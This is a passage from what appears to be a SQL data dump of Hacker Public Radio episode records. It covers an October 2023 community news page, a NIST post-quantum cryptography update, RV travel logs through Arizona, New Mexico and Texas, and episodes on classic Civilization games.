Games</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3964/index.html\" target=\"_blank\">3964</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-10-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3964/index.html\" target=\"_blank\">Hacker Public Radio at OLF</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0270.html\" target=\"_blank\">Thaj Sara</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3965/index.html\" target=\"_blank\">3965</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-10-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3965/index.html\" target=\"_blank\">I\'ve taken the Conqueror Virtual Challenge</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0382.html\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3966/index.html\" target=\"_blank\">3966</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-10-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3966/index.html\" target=\"_blank\">Vim Hints: 006</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3967/index.html\" target=\"_blank\">3967</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-10-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3967/index.html\" target=\"_blank\">Unsolicited thoughts on running open source software projects</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3968/index.html\" target=\"_blank\">3968</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-10-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3968/index.html\" target=\"_blank\">About USBimager - part 1/2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0421.html\" target=\"_blank\">Reto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3969/index.html\" target=\"_blank\">3969</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-10-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3969/index.html\" target=\"_blank\">Game Sales</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3970/index.html\" target=\"_blank\">3970</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-10-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3970/index.html\" target=\"_blank\">Playing Alpha Centauri, Part 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3971/index.html\" target=\"_blank\">3971</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-10-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3971/index.html\" target=\"_blank\">RERERE: How to make friends.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3972/index.html\" target=\"_blank\">3972</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-10-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3972/index.html\" target=\"_blank\">Thunderbird inbox filtering: keeping a clean/orderly inbox.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3973/index.html\" target=\"_blank\">3973</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-10-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3973/index.html\" target=\"_blank\">Creating an equalizer preset for your episodes of HPR</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3974/index.html\" target=\"_blank\">3974</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-10-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3974/index.html\" target=\"_blank\">About USBimager - part 2/2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0421.html\" target=\"_blank\">Reto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3975/index.html\" target=\"_blank\">3975</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-10-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3975/index.html\" target=\"_blank\">Mesa Verde 20230618</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3976/index.html\" target=\"_blank\">3976</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-10-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3976/index.html\" target=\"_blank\">The Evolution of Windows\' Snipping Tool</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0266.html\" target=\"_blank\">Keith Murray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3977/index.html\" target=\"_blank\">3977</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-10-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3977/index.html\" target=\"_blank\">Creative Commons Search Engine</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 8 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 4 comments on\n3 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3941/index.html#comments\" target=\"_blank\">hpr3941</a></strong>\n(2023-09-11) \"<em>Interview with Yosef Kerzner</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3941/index.html#2\" target=\"_blank\">Comment 2</a>:\ndnt on 2023-10-02:\n\"Great interview!\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3941/index.html#3\" target=\"_blank\">Comment 3</a>:\nWindigo on 2023-10-24:\n\"Great conversation\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3947/index.html#comments\" target=\"_blank\">hpr3947</a></strong>\n(2023-09-19) \"<em>Archiving Floppy Disks</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0334.html\" target=\"_blank\">Steve Saner</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3947/index.html#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2023-10-09:\n\"feedback\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3953/index.html#comments\" target=\"_blank\">hpr3953</a></strong>\n(2023-09-27) \"<em>Large language models and AI don\'t have any common sense</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0424.html\" target=\"_blank\">hobs</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3953/index.html#1\" target=\"_blank\">Comment 1</a>:\nMr Young on 2023-10-01:\n\"LLMs are great if you use them right\"</li></ul><br/>\n</limage></ul>\n<h3>This month\'s shows</h3>\n<p>There are 4 comments on 4 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3961/index.html#comments\" target=\"_blank\">hpr3961</a></strong>\n(2023-10-09) \"<em>RERE: How to make friends.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3961/index.html#1\" target=\"_blank\">Comment 1</a>:\ncaezr on 2023-10-10:\n\"hello\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3965/index.html#comments\" target=\"_blank\">hpr3965</a></strong>\n(2023-10-13) \"<em>I\'ve taken the Conqueror Virtual Challenge</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0382.html\" target=\"_blank\">Daniel Persson</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3965/index.html#1\" target=\"_blank\">Comment 1</a>:\nKeith (kdmurray) on 2023-10-15:\n\"LOTR Challenge\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3966/index.html#comments\" target=\"_blank\">hpr3966</a></strong>\n(2023-10-16) \"<em>Vim Hints: 006</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3966/index.html#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2023-10-17:\n\"It\'s all relative\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3971/index.html#comments\" target=\"_blank\">hpr3971</a></strong>\n(2023-10-23) \"<em>RERERE: How to make friends.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3971/index.html#1\" target=\"_blank\">Comment 1</a>:\nkdmurray on 2023-10-28:\n\"Great Series\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://lists.hackerpublicradio.com/pipermail/hpr/2023-October/thread.html\" target=\"_blank\">https://lists.hackerpublicradio.com/pipermail/hpr/2023-October/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h2 id=\"site-migration\">Site migration</h2>\n<ul>\n<li>Fixed the code that computes the number of days to the next free\nslot.</li>\n</ul>\n<h2 id=\"donating-to-the-internet-archive\">Donating to the Internet\nArchive</h2>\n<ul>\n<li>There is currently a gift matching campaign which can double the\nimpact of donations! <a href=\"https://archive.org/donate\">Donate now</a>\nto show appreciation for the service that hosts a lot of HPR content for\nus.</li>\n</ul>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3800,'2023-02-24','NIST Quantum Cryptography Update 20221008',928,'An update on the preparations for quantum computing','<p>The process NIST initiated in 2016 continues as it looks for\nencryption algorithms that will be secure against the anticipated\narrival of practical quantum computing. In this update I report on the\nfirst 4 Candidates to be Standardized, and the timeline for completion.\nIt is coming faster than you may have realized.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://miracl.com/blog/backdoors-in-nist-elliptic-curves/\"\nclass=\"uri\">https://miracl.com/blog/backdoors-in-nist-elliptic-curves/</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Qubit\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Qubit</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Transport_Layer_Security</a></li>\n<li><a href=\"https://csrc.nist.gov/Projects/post-quantum-cryptography\"\nclass=\"uri\">https://csrc.nist.gov/Projects/post-quantum-cryptography</a></li>\n<li><a\nhref=\"https://www.zwilnik.com/security-and-privacy/encryption-and-quantum-computing/\"\nclass=\"uri\">https://www.zwilnik.com/security-and-privacy/encryption-and-quantum-computing/</a></li>\n<li><a href=\"http://hackerpublicradio.org/eps.php?id=2860\"\nclass=\"uri\">http://hackerpublicradio.org/eps.php?id=2860</a></li>\n<li><a\nhref=\"https://www.zwilnik.com/security-and-privacy/nists-quantum-cryptography-update-20200815/\"\nclass=\"uri\">https://www.zwilnik.com/security-and-privacy/nists-quantum-cryptography-update-20200815/</a></li>\n<li><a href=\"http://hackerpublicradio.org/eps.php?id=3147\"\nclass=\"uri\">http://hackerpublicradio.org/eps.php?id=3147</a></li>\n<li><a\nhref=\"https://csrc.nist.gov/News/2016/Post-Quantum-Cryptography-Proposed-Requirements\"\nclass=\"uri\">https://csrc.nist.gov/News/2016/Post-Quantum-Cryptography-Proposed-Requirements</a></li>\n<li><a\nhref=\"https://csrc.nist.gov/Projects/post-quantum-cryptography/selected-algorithms-2022\"\nclass=\"uri\">https://csrc.nist.gov/Projects/post-quantum-cryptography/selected-algorithms-2022</a></li>\n<li><a\nhref=\"https://csrc.nist.gov/Projects/post-quantum-cryptography/round-4-submissions\"\nclass=\"uri\">https://csrc.nist.gov/Projects/post-quantum-cryptography/round-4-submissions</a></li>\n<li><a\nhref=\"https://csrc.nist.gov/projects/pqc-dig-sig/standardization/call-for-proposals\"\nclass=\"uri\">https://csrc.nist.gov/projects/pqc-dig-sig/standardization/call-for-proposals</a></li>\n<li><a\nhref=\"https://www.nist.gov/blogs/taking-measure/post-quantum-cryptography-qa-nists-matt-scholl\"\nclass=\"uri\">https://www.nist.gov/blogs/taking-measure/post-quantum-cryptography-qa-nists-matt-scholl</a></li>\n<li><a\nhref=\"https://thehackernews.com/2022/07/nist-announces-first-four-quantum.html\"\nclass=\"uri\">https://thehackernews.com/2022/07/nist-announces-first-four-quantum.html</a></li>\n<li><a href=\"https://csrc.nist.gov/Projects/post-quantum-cryptography\"\nclass=\"uri\">https://csrc.nist.gov/Projects/post-quantum-cryptography</a></li>\n<li><a\nhref=\"https://www.zwilnik.com/security-and-privacy/nist-quantum-cryptography-update-20221008/\"\nclass=\"uri\">https://www.zwilnik.com/security-and-privacy/nist-quantum-cryptography-update-20221008/</a></li>\n</ul>\n',198,74,0,'CC-BY-SA','NIST, Encryption, quantum computing',0,0,1),
(3810,'2023-03-10','Clifton, Arizona',963,'We move to another Arizona town, Clifton.','<p>We have left the Tucson area and moved up into the mountains to\nClifton, Arizona, a mining town. Arizona is a major source of Copper for\nthe U.S., and Clifton has one of the larger open pit mines in the world,\nand the largest in the U.S.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjzKQCb\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKQCb</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKSz8\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKSz8</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKTKL\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKTKL</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKUba\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKUba</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKSqt\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKSqt</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKUkN\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKUkN</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKU3S\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKU3S</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKXtk\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKXtk</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKXk8\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKXk8</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKYXo\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKYXo</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKZr5\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKZr5</a></li>\n<li><a href=\"https://www.palain.com/travel/clifton-arizona/\"\nclass=\"uri\">https://www.palain.com/travel/clifton-arizona/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, RV life, Arizona, Clifton',0,0,1),
(3820,'2023-03-24','Introduction to Gaming',991,'How I first got started with Computer Strategy Games','<p>This starts out the series on Computer Strategy Games, and we begin\nwith the game that got me hooked, the first Civilization game created by\nSid Meier and published by Microprose. Though it is pretty old now, it\nis still fond in my heart, and in the hearts of so many other gamers. If\nthis comes across as a love letter, so be it. We will also in this\nseries look at where you can obtain old games, and where you can find\nmore information about the games I cover.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Civilization_(series)\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Civilization_(series)</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/4X\"\nclass=\"uri\">https://en.wikipedia.org/wiki/4X</a></li>\n<li><a\nhref=\"http://flashofsteel.com/index.php/2006/09/18/gamers-bookshelf-civilization-or-rome-on-640k-a-day/\"\nclass=\"uri\">http://flashofsteel.com/index.php/2006/09/18/gamers-bookshelf-civilization-or-rome-on-640k-a-day/</a></li>\n<li><a\nhref=\"https://www.amazon.com/Sid-Meiers-Civilization-Chronicles-PC/dp/B000IU1PQA\"\nclass=\"uri\">https://www.amazon.com/Sid-Meiers-Civilization-Chronicles-PC/dp/B000IU1PQA</a></li>\n<li><a href=\"https://playclassic.games/\"\nclass=\"uri\">https://playclassic.games/</a></li>\n<li><a href=\"https://www.myabandonware.com/\"\nclass=\"uri\">https://www.myabandonware.com/</a></li>\n<li><a\nhref=\"https://www.myabandonware.com/game/sid-meier-s-civilization-1nj\"\nclass=\"uri\">https://www.myabandonware.com/game/sid-meier-s-civilization-1nj</a></li>\n<li><a href=\"https://www.civfanatics.com/civ1/manual/civ1_man.htm\"\nclass=\"uri\">https://www.civfanatics.com/civ1/manual/civ1_man.htm</a></li>\n<li><a href=\"https://www.civfanatics.com/civ1/cia/\"\nclass=\"uri\">https://www.civfanatics.com/civ1/cia/</a></li>\n<li><a\nhref=\"https://forums.civfanatics.com/media/categories/civilization-gallery.16/\"\nclass=\"uri\">https://forums.civfanatics.com/media/categories/civilization-gallery.16/</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=CkmHeepmjEc\"\nclass=\"uri\">https://www.youtube.com/watch?v=CkmHeepmjEc</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=VF8Ribe5AFU\"\nclass=\"uri\">https://www.youtube.com/watch?v=VF8Ribe5AFU</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=L7GkX4h-TP8\"\nclass=\"uri\">https://www.youtube.com/watch?v=L7GkX4h-TP8</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=3UuXa3PRSGo\"\nclass=\"uri\">https://www.youtube.com/watch?v=3UuXa3PRSGo</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=Q1d08T8_wI4\"\nclass=\"uri\">https://www.youtube.com/watch?v=Q1d08T8_wI4</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=AJ-auWfJTts\"\nclass=\"uri\">https://www.youtube.com/watch?v=AJ-auWfJTts</a></li>\n<li><a\nhref=\"https://www.amazon.com/Sid-Meiers-Memoir-Computer-Games/dp/B08MNG8VX8/\"\nclass=\"uri\">https://www.amazon.com/Sid-Meiers-Memoir-Computer-Games/dp/B08MNG8VX8/</a></li>\n<li><a href=\"https://www.palain.com/gaming/sid-meiers-civilization/\"\nclass=\"uri\">https://www.palain.com/gaming/sid-meiers-civilization/</a></li>\n</ul>\n',198,122,0,'CC-BY-SA','Computer games, strategy games, Civilization',0,0,1),
(3830,'2023-04-07','Into New Mexico',856,'We move to another state, New Mexico.','<p>We made a change in our itinerary and instead of going up into the\nmountains of New Mexico we went down to the area of the border of\nMexico. Our first stop was in Deming, NM for a few days, the on to\nAnthony, NM for a longer stay of nearly three weeks. Anthony is located\nbetween Las Cruces, NM, and El Paso, Texas, so it was a convenient\nlocation for visiting both of the places, and we did so. In hindsight,\nwe liked Las Cruces and the New Mexico part a lot better than El\nPaso.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjzKYwL\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKYwL</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzL1pH\"\nclass=\"uri\">https://flic.kr/s/aHBqjzL1pH</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKYwM\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKYwM</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKZcd\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKZcd</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKYVh\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKYVh</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzL1F8\"\nclass=\"uri\">https://flic.kr/s/aHBqjzL1F8</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKZLE\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKZLE</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzL6F3\"\nclass=\"uri\">https://flic.kr/s/aHBqjzL6F3</a></li>\n<li><a href=\"https://www.palain.com/travel/into-new-mexico/\"\nclass=\"uri\">https://www.palain.com/travel/into-new-mexico/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, RV life, New Mexico, Deming, Anthony, Las Cruces, El Paso',0,0,1),
(3840,'2023-04-21','Playing the Original Civilization',899,'Hints on playing the game that started it all','<p>This game is pretty old, but I found that wen I started a game\nrecently to prepare for this episode that it was still as addictive as\never. I won\'t claim it is essential for everyone to run out and get it,\nbut if you did happen to find a copy somewhere and play it, you might\nfind you enjoy it. In this episode I give a few hints about getting\nstarted with this game.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a\nhref=\"https://civilization.fandom.com/wiki/Help_with_playing_Civ1#Choice_of_initial_city_site\"\nclass=\"uri\">https://civilization.fandom.com/wiki/Help_with_playing_Civ1#Choice_of_initial_city_site</a></li>\n<li><a\nhref=\"https://www.palain.com/gaming/sid-meiers-civilization/playing-the-original-civilization-hints/\"\nclass=\"uri\">https://www.palain.com/gaming/sid-meiers-civilization/playing-the-original-civilization-hints/</a></li>\n</ul>\n',198,122,0,'CC-BY-SA','Computer games, strategy games, Civilization',0,0,1),
(3850,'2023-05-05','New Mexico 2',822,'We finish our stay in New Mexico and head to Presidio, Texas.','<p>We finished our stay in Anthony with a Saturday trip into Las Cruces\nto see the local market and the museums, more hiking, and a trip to see\nNative American Petroglyphs. We also went into El Paso to check out the\nzoo. It was fine, but we confirmed that we don\'t really like going into\nEl Paso. We are not much on driving in big cities any longer,\nparticularly in a big truck. Then it was time to move on to our next\nstop, Presidio, Texas. This is so close to the border that a 5 minute\nwalk takes you to the Rio Grande.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjzL5vB\"\nclass=\"uri\">https://flic.kr/s/aHBqjzL5vB</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzL5VY\"\nclass=\"uri\">https://flic.kr/s/aHBqjzL5VY</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzL7XD\"\nclass=\"uri\">https://flic.kr/s/aHBqjzL7XD</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzL9jQ\"\nclass=\"uri\">https://flic.kr/s/aHBqjzL9jQ</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzL8cZ\"\nclass=\"uri\">https://flic.kr/s/aHBqjzL8cZ</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzLc5f\"\nclass=\"uri\">https://flic.kr/s/aHBqjzLc5f</a></li>\n<li><a href=\"https://www.palain.com/travel/new-mexico-2/\"\nclass=\"uri\">https://www.palain.com/travel/new-mexico-2/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, RV life, New Mexico, Anthony, Las Cruces, El Paso, Presidio',0,0,1),
(3860,'2023-05-19','Civilization II',923,'The game I spent the most time on: Civilization II','<p>This game is not quite as old, and it did make some changes. But the\nsame \"One-more-turn\" addictiveness is still there. I can\'t tell you many\ntimes I started a game, and the next thing I knew the Sun was coming up\noutside my window. I\'m too old to do that any more, but if I start\nanother game of Civ II I will be right back in it.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://playclassic.games/?s=Civilization+II\"\nclass=\"uri\">https://playclassic.games/?s=Civilization+II</a></li>\n<li><a href=\"https://www.myabandonware.com/browse/name/C/page/38/\"\nclass=\"uri\">https://www.myabandonware.com/browse/name/C/page/38/</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=sHfk5VhAvWU\"\nclass=\"uri\">https://www.youtube.com/watch?v=sHfk5VhAvWU</a></li>\n<li><a href=\"http://www.replacementdocs.com/download.php?view.365\"\nclass=\"uri\">http://www.replacementdocs.com/download.php?view.365</a></li>\n<li><a href=\"https://sleague.civfanatics.com/index.php?title=Main_Page\"\nclass=\"uri\">https://sleague.civfanatics.com/index.php?title=Main_Page</a></li>\n<li><a\nhref=\"https://www.mobygames.com/game/windows/civilization-ii-test-of-time\"\nclass=\"uri\">https://www.mobygames.com/game/windows/civilization-ii-test-of-time</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=Ysk4o1zKsuE&amp;t=5s\"\nclass=\"uri\">https://www.youtube.com/watch?v=Ysk4o1zKsuE&amp;t=5s</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=9XokQ-VDd88\"\nclass=\"uri\">https://www.youtube.com/watch?v=9XokQ-VDd88</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=owt0CR9YHiA&amp;t\"\nclass=\"uri\">https://www.youtube.com/watch?v=owt0CR9YHiA&amp;t</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=pbGJrUTBHAY\"\nclass=\"uri\">https://www.youtube.com/watch?v=pbGJrUTBHAY</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=yKs9Mtu_Fn4\"\nclass=\"uri\">https://www.youtube.com/watch?v=yKs9Mtu_Fn4</a></li>\n<li><a href=\"https://www.palain.com/gaming/civilization-ii/\"\nclass=\"uri\">https://www.palain.com/gaming/civilization-ii/</a></li>\n</ul>\n',198,122,0,'CC-BY-SA','Computer games, strategy games, Civilization II',0,0,1),
(3870,'2023-06-02','Texas',765,'We wrap up our trip in Texas before heading back home to Michigan','<p>Our stay in Presidio was a nice one, and we enjoyed the companionship\nat the RV park. This gave us access to the Big Bend Ranch State Park,\nand we had a few good outings there. But we wanted to visit the Big Bend\nNational Park, which was not as reachable as we would like, so we booked\na few days in Alpine, Texas. This turned out to be fortuitous for an\nimportant repair. And after seeing the National Park it was time to head\nback to Michigan. We had a long but very nice trip, but as always at the\nend of a trip we look forward to being back in our home and sleeping in\nour bed.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjzLaJR\"\nclass=\"uri\">https://flic.kr/s/aHBqjzLaJR</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzLbSF\"\nclass=\"uri\">https://flic.kr/s/aHBqjzLbSF</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzLeL8\"\nclass=\"uri\">https://flic.kr/s/aHBqjzLeL8</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzLexu\"\nclass=\"uri\">https://flic.kr/s/aHBqjzLexu</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzLfXK\"\nclass=\"uri\">https://flic.kr/s/aHBqjzLfXK</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzLeLR\"\nclass=\"uri\">https://flic.kr/s/aHBqjzLeLR</a></li>\n<li><a href=\"https://www.palain.com/travel/texas/\"\nclass=\"uri\">https://www.palain.com/travel/texas/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, RV life, Texas, Presidio, Alpine',0,0,1),
